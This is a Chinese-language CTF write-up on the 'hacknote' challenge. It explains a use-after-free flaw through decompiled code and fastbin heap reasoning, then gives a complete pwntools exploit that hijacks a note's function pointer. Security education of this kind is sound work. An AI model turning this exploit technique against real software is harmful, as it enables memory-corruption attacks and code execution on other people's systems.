- Author:ZERO-A-ONE
- Date:2021-07-05
一、概念
Use after free:顾名思义,某块内存在释放后还能被用户使用;一般存在于,free后没有将指针置为NULL,导致野指针的存在
二、例题
2.1 hacknote
我们先检查一下这个程序
(base) syc@ubuntu:~/Desktop/unlink/hacknote$ checksec hacknote
[*] '/home/syc/Desktop/unlink/hacknote/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以发现没有开启PIE,给UAF的利用留下了漏洞
我们发现这是一题常规的菜单题
int sub_8048956()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}
void __cdecl __noreturn main()
{
int v0; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v0 = atoi(&buf);
if ( v0 != 2 )
break;
Delete();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
print();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
Add();
}
}
}
一共有四个功能:
- Add:添加一个
- Delete:删除一个
- Print:打印
- Exit:退出
2.1.1 Delete
我们看一下删除功能
unsigned int sub_80487D4()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
我么可以发现free并没有将指针清零0,导致了野指针的存在,也就是存在Use After Free
2.1.2 Add
我们看一下Add的功能
unsigned int sub_8048646()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)notelist[i] = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)notelist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)notelist[i] + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
- 先申请一个大小为8byte的chunk0,将其地址放入notelist[i]中
- 再申请自己规定字节大小的chunk1,将其地址放入第一次申请的chunk0的content中
- 第一次申请的8byte的chunk0的put处存放print_note_content函数地址content处存放第二次申请的chunk1的地址
- 我们后面写内容是往第二次申请的chunk1中填写的
我们可以简单来看一下每一个 note 生成的具体流程
-
程序申请 8 字节内存用来存放 note 中的 put 以及 content 指针。
-
程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。
+-----------------+ | put | +-----------------+ | content | size +-----------------+------------------->+----------------+ | real | | content | | | +----------------+
假设我们申请了一个32byte的chunk1,往里面填写’aaaa’,最终会达到这样一个效果
2.1.3 Print
print_note 就是简单的根据给定的 note 的索引来输出对应索引的 note 的内容
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
notelist[v1]->put(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}
2.1.4 调试
我们可以在0x8048A7C的位置设置一个断点查看,然后申请一个内存
然后可以发现我们成功申请了一个堆块,而且第一个内容指向了puts,第二个内容指向了我们的内容
因为没有开启PIE所以我们可以知道notelist[1]放在0x804A050里
然后我们将其释放掉
我们可以发现指针依然存在着
所以我们可以利用这个UAF
2.1.5 利用
那我们只需要劫持一个content的puts指针位就好
那么,根据我们之前在堆的实现中所学到的,显然 note 是一个 fastbin chunk(大小为 16 字节)。我们的目的是希望一个 note 的 put 字段为 magic 的函数地址,那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下
- 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
- 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
- 释放 note0
- 释放 note1
- 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
- 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
- note2 其实会分配 note1 对应的内存块。
- real content 对应的 chunk 其实是 note0。
- 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数
常见的先编写函数
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
在申请完资源后下一个断点,可以发现的确申请了两个大小为0x10的堆块,两个为0x28的堆块
然后在释放我们查看一下,都已经释放了加入fastbin的列表
我们可以知道
-
0x87ef000:notelist[0].puts
-
0x87ef010:notelist[1].puts
-
0x87ef038:notelist[0].content
-
0x87ef048:notelist[1].content
如果我们可以获得其中一个notelist的puts指针的修改我们就可以达到目标了, 根据分配规则我们可以知道只要我们申请一个大小为8的notelist,系统就会从fastbin列表中同时取出两个大小为0x10的chunk,届时:
- 0x87ef010:new_notelist[0].puts
- 0x87ef000:new_notelist[0].content
我们就可以通过新的notelist修改掉旧的notelist[0].puts,然后再利用之前notelist[0]的指针执行print功能就会调用新修改后的nnew_notelist[0].content,执行任意函数了
我们发现确实修改成特定地址了,完整的EXP如下:
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
local = 1
elf = ELF('./hacknote')
if local:
p = process('./hacknote')
libc = elf.libc
else:
p = remote('172.16.229.161',7001)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def addnote(size, content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def delnote(idx):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
def printnote(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1
debug(0)
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
p.interactive()